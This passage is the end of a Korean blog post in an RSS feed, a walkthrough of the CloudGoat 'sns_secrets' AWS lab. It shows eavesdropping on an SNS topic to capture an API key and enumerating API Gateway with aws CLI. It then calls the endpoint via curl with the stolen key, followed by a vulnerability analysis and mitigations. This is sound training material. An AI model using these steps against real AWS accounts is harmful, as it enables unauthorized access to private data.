this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;593&quot; height=&quot;78&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xe0vj/dJMcafFMCGg/kbSkTU4PMd1zYU5yUbX1qK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xe0vj/dJMcafFMCGg/kbSkTU4PMd1zYU5yUbX1qK/img.png&quot; data-origin-width=&quot;1060&quot; data-origin-height=&quot;467&quot; data-is-animation=&quot;false&quot; style=&quot;width: 22.7242%;&quot; data-widthpercent=&quot;22.99&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xe0vj/dJMcafFMCGg/kbSkTU4PMd1zYU5yUbX1qK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fxe0vj%2FdJMcafFMCGg%2FkbSkTU4PMd1zYU5yUbX1qK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1060&quot; height=&quot;467&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;실행 결과로 &lt;b&gt;&quot;SubscriptionArn&quot;: &quot;pending confirmation&quot;&lt;/b&gt; 이 나오면 성공이다. 자신이 구독한 메일함에 접속해서 &lt;b data-index-in-node=&quot;46&quot; data-path-to-node=&quot;14,2,0&quot;&gt;Confirm Subscription&lt;/b&gt; 버튼을 누르면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;발견한 토픽에 자신을 구독자로 등록하면 해당 토픽으로 전송되는 모든 &lt;b&gt;비밀 메시지&lt;/b&gt;를 복사본으로 받게 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;716&quot; data-origin-height=&quot;50&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bd7yz4/dJMcagSeluE/gKIu70kWVUFItXgW8uzIk0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bd7yz4/dJMcagSeluE/gKIu70kWVUFItXgW8uzIk0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bd7yz4/dJMcagSeluE/gKIu70kWVUFItXgW8uzIk0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbd7yz4%2FdJMcagSeluE%2FgKIu70kWVUFItXgW8uzIk0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;716&quot; height=&quot;50&quot; data-origin-width=&quot;716&quot; data-origin-height=&quot;50&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;메일 본문을 열어보면 디버그 형태의 텍스트가 들어있다. &lt;span style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot;&gt;API GATEWAY KEY를 호출하여 플래그를 얻으면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;API Key를 얻었으니, 이제 열어야 할 문인 Gateway를 찾을 차례이다.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt; [ API Gateway 침투 및 데이터 탈취 ] &lt;/b&gt;&lt;/h3&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;API Gateway 정찰&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;탈취한 키를 꽂을 대상을 찾는 단계이다.&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773025376875&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# API Gateway 목록 조회 (ID 확인)
aws apigateway get-rest-apis --profile [프로필_이름]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1169&quot; data-origin-height=&quot;650&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/skJYV/dJMcafy1OZH/EGGEeNklbvHXKErnmgoThK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/skJYV/dJMcafy1OZH/EGGEeNklbvHXKErnmgoThK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/skJYV/dJMcafy1OZH/EGGEeNklbvHXKErnmgoThK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FskJYV%2FdJMcafy1OZH%2FEGGEeNklbvHXKErnmgoThK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1169&quot; height=&quot;650&quot; data-origin-width=&quot;1169&quot; data-origin-height=&quot;650&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 계정에 생성된 API 목록을 조회해 봤다. 여기서 출력되는 id값을 메모해 둔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt; API 상세 경로 파악&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ID를 찾았다면, 그 API 안에 어떤 Path가 있는지 알아야 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1773025499735&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 특정 API의 리소스 경로 조회 (Path 확인)
aws apigateway get-resources --rest-api-id [API_ID] --profile [프로필_이름]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1221&quot; data-origin-height=&quot;449&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kYU34/dJMcabXGhbO/TtBhClkU9aD1dkQ2NPeqnK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kYU34/dJMcabXGhbO/TtBhClkU9aD1dkQ2NPeqnK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kYU34/dJMcabXGhbO/TtBhClkU9aD1dkQ2NPeqnK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkYU34%2FdJMcabXGhbO%2FTtBhClkU9aD1dkQ2NPeqnK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1221&quot; height=&quot;449&quot; data-origin-width=&quot;1221&quot; data-origin-height=&quot;449&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&quot;path&quot;: &quot;/user-data&quot;&lt;/b&gt;를 찾아내는 과정이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;API 엔드포인트 구성 및 호출&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1773026013666&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;curl -H &quot;x-api-key: [API_KEY]&quot; https://[API_ID].execute-api.us-east-1.amazonaws.com/[Stage]/[Path]&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;stage 이름이 prod라 생각하고 명령어를 입력하면 &lt;span style=&quot;background-color: #e9eef6; color: #1f1f1f; text-align: start;&quot;&gt;{&quot;message&quot;:&quot;Forbidden&quot;}&lt;/span&gt; 이 뜬다.&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;- trouble shooting&lt;/b&gt;&lt;/h4&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1999&quot; data-origin-height=&quot;56&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sqFQO/dJMcaiJej7Q/lIIw9X4GoPN4vG2G9UJX80/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sqFQO/dJMcaiJej7Q/lIIw9X4GoPN4vG2G9UJX80/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sqFQO/dJMcaiJej7Q/lIIw9X4GoPN4vG2G9UJX80/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsqFQO%2FdJMcaiJej7Q%2FlIIw9X4GoPN4vG2G9UJX80%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1999&quot; height=&quot;56&quot; data-origin-width=&quot;1999&quot; data-origin-height=&quot;56&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;API 호출 시 API Key가 정확함에도 Forbidden 에러가 발생했다면, 이는 &lt;b data-index-in-node=&quot;83&quot; data-path-to-node=&quot;9,0&quot;&gt;API Gateway의 스테이지 구조&lt;/b&gt; 때문일 확률이 높다. stage명을 prod라 임의로 입력했기 때문에 스테이지 이름을 확인해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt; 스테이지(Stage) 이름 확인 &lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;prod가 아니라 고유한 ID가 붙은 스테이지명을 찾는 과정이다.&lt;/p&gt;
&lt;pre id=&quot;code_1773026423453&quot; class=&quot;bash&quot; style=&quot;background-color: #f8f8f8; color: #383a42; text-align: start;&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;# 스테이지 목록 조회
aws apigateway get-stages --rest-api-id [확인된_API_ID] --profile [프로필_이름]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1186&quot; data-origin-height=&quot;473&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yhPqG/dJMcahjj7qw/ZpsU1hJXV5f3iu7iR9z1K0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yhPqG/dJMcahjj7qw/ZpsU1hJXV5f3iu7iR9z1K0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yhPqG/dJMcahjj7qw/ZpsU1hJXV5f3iu7iR9z1K0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyhPqG%2FdJMcahjj7qw%2FZpsU1hJXV5f3iu7iR9z1K0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1186&quot; height=&quot;473&quot; data-origin-width=&quot;1186&quot; data-origin-height=&quot;473&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;prod의 실제 이름을 확인했다면 API를 다시 호출한다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1572&quot; data-origin-height=&quot;51&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/tve9l/dJMcacPO8aD/oZ07ta79BKiaymlmNj3sq0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/tve9l/dJMcacPO8aD/oZ07ta79BKiaymlmNj3sq0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/tve9l/dJMcacPO8aD/oZ07ta79BKiaymlmNj3sq0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Ftve9l%2FdJMcacPO8aD%2FoZ07ta79BKiaymlmNj3sq0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1572&quot; height=&quot;51&quot; data-origin-width=&quot;1572&quot; data-origin-height=&quot;51&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;확인한&amp;nbsp;&lt;b data-path-to-node=&quot;6&quot; data-index-in-node=&quot;5&quot;&gt;ID&lt;/b&gt;와&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;6&quot; data-index-in-node=&quot;9&quot;&gt;Path&lt;/b&gt;, 그리고&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;6&quot; data-index-in-node=&quot;19&quot;&gt;탈취한 API Key&lt;/b&gt;를 조합한 최종 curl 명령어를 입력하면 시나리오 실습을 성공한 것이다.&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1777177806731&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;API Gateway의 HTTP API에 대한 스테이지 - Amazon API Gateway&quot; data-og-description=&quot;API Gateway의 HTTP API에 대한 스테이지 API 스테이지는 API의 수명 주기 상태에 대한 논리적 참조(예: dev, prod, beta, v2)입니다. API 스테이지는 API ID 및 스테이지 이름으로 식별되며, API를 호출하는 데 사&quot; data-og-host=&quot;docs.aws.amazon.com&quot; data-og-source-url=&quot;https://docs.aws.amazon.com/ko_kr/apigateway/latest/developerguide/http-api-stages.html&quot; data-og-url=&quot;https://docs.aws.amazon.com/ko_kr/apigateway/latest/developerguide/http-api-stages.html&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://docs.aws.amazon.com/ko_kr/apigateway/latest/developerguide/http-api-stages.html&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.aws.amazon.com/ko_kr/apigateway/latest/developerguide/http-api-stages.html&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;API Gateway의 HTTP API에 대한 스테이지 - Amazon API Gateway&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;API Gateway의 HTTP API에 대한 스테이지 API 스테이지는 API의 수명 주기 상태에 대한 논리적 참조(예: dev, prod, beta, v2)입니다. API 스테이지는 API ID 및 스테이지 이름으로 식별되며, API를 호출하는 데 사&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.aws.amazon.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;[ 실습 종료 및 리소스 삭제 ]&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;생성한 리소스들을 지우지 않으면 비용이 발생하므로&lt;span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;실습이 끝난 후&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;리소스를 지우면 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1772958888575&quot; class=&quot;bash&quot; style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;cloudgoat destroy sns_secrets&lt;/code&gt;&lt;/pre&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;취약점 분석 &lt;/b&gt;&lt;/h3&gt;
&lt;p data-path-to-node=&quot;4&quot; data-ke-size=&quot;size16&quot;&gt;이번 시나리오에서 발생한 보안 사고의 핵심 원인은 &lt;b&gt;민감 정보의 평문 노출&lt;/b&gt;과 &lt;b&gt;과도한 권한 부여&lt;/b&gt;의 결합이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;5&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,0&quot;&gt;민감 정보 노출 (Information Exposure)&lt;/b&gt;: 시스템 디버깅을 위해 SNS 메시지에 API Key를 포함하여 전송했습니다. 이는 공격자가 메시지를 가로챌 경우 시스템 전체 권한을 넘겨주는 결과를 초래한다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,0&quot;&gt;SNS 구독 권한 오남용&lt;/b&gt;: 권한이 낮은 사용자 계정에 &lt;b&gt;sns:Subscribe&lt;/b&gt; 및 &lt;b&gt;sns:ListTopics&lt;/b&gt; 권한이 부여되어 있어, 외부인이 내부 알림 채널에 손쉽게 접근(도청)할 수 있었다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,2,0&quot;&gt;API Gateway 인증 미흡&lt;/b&gt;: API Key가 유출되자마자 즉시 데이터가 노출되었습니다. API Key는 물리적 보안보다는 단순 식별용에 가깝기 때문에, 이것만으로 중요한 데이터를 보호하기에는 부족하다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-path-to-node=&quot;7&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;7&quot;&gt;단계별 대응 방안&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-path-to-node=&quot;8&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;8&quot;&gt;① IAM 권한 최소화 (Least Privilege)&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;9&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,0,0&quot;&gt;조치&lt;/b&gt;: 사용자에게 꼭 필요한 권한만 부여&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;9,1,0&quot;&gt;방법&lt;/b&gt;: 일반 사용자에게 sns:Subscribe나 iam:List* 같은 광범위한 조회/구독 권한을 제거하고, 필요시 특정 리소스(ARN)에 대해서만 권한을 제한한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-path-to-node=&quot;10&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;10&quot;&gt;② 민감 정보 암호화 및 관리&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;11&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,0,0&quot;&gt;조치&lt;/b&gt;: API Key, DB 비밀번호 등을 코드나 메시지에 평문으로 노출하지 않는다.&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;11,1,0&quot;&gt;방법&lt;/b&gt;: &lt;b data-index-in-node=&quot;4&quot; data-path-to-node=&quot;11,1,0&quot;&gt;AWS Secrets Manager&lt;/b&gt;나 &lt;b data-index-in-node=&quot;25&quot; data-path-to-node=&quot;11,1,0&quot;&gt;Parameter Store&lt;/b&gt;를 사용하여 정보를 암호화하고, 필요할 때만 API를 통해 호출하여 사용하도록 로직을 변경한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-path-to-node=&quot;12&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;12&quot;&gt;③ API Gateway 보안 강화&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;13&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,0,0&quot;&gt;조치&lt;/b&gt;: API Key 외에 추가적인 인증 계층을 도입&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,0&quot;&gt;방법&lt;/b&gt;:
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;13,1,1&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,1,0,0&quot;&gt;IAM 인증 사용&lt;/b&gt;: AWS 서명을 통해서만 호출 가능하도록 설정&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,1,1,0&quot;&gt;Lambda Authorizer&lt;/b&gt;: 사용자 정의 로직을 통해 토큰 기반 인증 수행&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;13,1,1,2,0&quot;&gt;WAF(Web Application Firewall) 도입&lt;/b&gt;: 특정 IP에서만 접근 가능하도록 화이트리스트 운영&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-path-to-node=&quot;14&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;14&quot;&gt;④ 모니터링 및 로깅&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-path-to-node=&quot;15&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15,0,0&quot;&gt;조치&lt;/b&gt;: 이상 징후를 즉시 감지&lt;/li&gt;
&lt;li&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;15,1,0&quot;&gt;방법&lt;/b&gt;: &lt;b data-index-in-node=&quot;4&quot; data-path-to-node=&quot;15,1,0&quot;&gt;Amazon GuardDuty&lt;/b&gt;를 활성화하여 비정상적인 SNS 구독이나 API 호출 패턴을 탐지하고, &lt;b data-index-in-node=&quot;60&quot; data-path-to-node=&quot;15,1,0&quot;&gt;CloudWatch Alarms&lt;/b&gt;를 통해 관리자에게 즉시 알림을 보낸다.&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>AWS/CloudGoat</category>
      <category>AWS</category>
      <category>cloudgoat</category>
      <author>chon29</author>
      <guid isPermaLink="true">https://chon29.tistory.com/39</guid>
      <comments>https://chon29.tistory.com/39#entry39comment</comments>
      <pubDate>Mon, 9 Mar 2026 12:32:01 +0900</pubDate>
    </item>
  </channel>
</rss>